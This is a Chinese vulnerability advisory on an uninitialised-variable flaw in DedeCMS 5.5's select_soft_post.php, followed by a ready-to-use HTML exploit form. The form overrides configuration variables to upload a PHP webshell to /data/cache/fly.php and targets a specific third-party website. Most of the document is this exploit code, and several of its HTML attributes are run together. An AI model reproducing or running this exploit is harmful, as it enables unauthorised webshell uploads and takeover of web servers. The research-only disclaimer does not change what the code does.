织梦(Dedecms)select_soft_post.php页面变量未初始漏洞

时间:2023-01-31 03:49:33

漏洞版本:

Dedecms 5.5

漏洞描述:

漏洞产生文件位于include\dialog\select_soft_post.php,其变量$cfg_basedir没有正确初始化,导致可以饶过身份认证和系统变量初始化文件,导致可以上传任意文件到指定目录。其漏洞利用前提是register_globals=on,可以通过自定义表单为相关的变量赋值。

测试方法:

@Sebug.net   dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
    1. <html>
    2. <head>
    3. <title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
    4. </head>
    5. <bodystyle="FONT-SIZE:9pt">
    6. ---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br/><br/>
    7. <formaction=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.phpmethod='POST'enctype="multipart/form-data"name='myform'>
    8. <inputtype='hidden'name='activepath'value='/data/cache/'/>
    9. <inputtype='hidden'name='cfg_basedir'value='../../'/>
    10. <inputtype='hidden'name='cfg_imgtype'value='php'/>
    11. <inputtype='hidden'name='cfg_not_allowall'value='txt'/>
    12. <inputtype='hidden'name='cfg_softtype'value='php'/>
    13. <inputtype='hidden'name='cfg_mediatype'value='php'/>
    14. <inputtype='hidden'name='f'value='form1.enclosure'/>
    15. <inputtype='hidden'name='job'value='upload'/>
    16. <inputtype='hidden'name='newname'value='fly.php'/>
    17. Select U Shell <inputtype='file'name='uploadfile'size='25'/>
    18. <inputtype='submit'name='sb1'value='确定'/>
    19. </form>
    20. <br/>It's just a exp for the bug of Dedecms V55...<br/>
    21. Need register_globals = on...<br/>
    22. Fun the game,get a webshell at /data/cache/fly.php...<br/>
    23. </body>
    24. </html>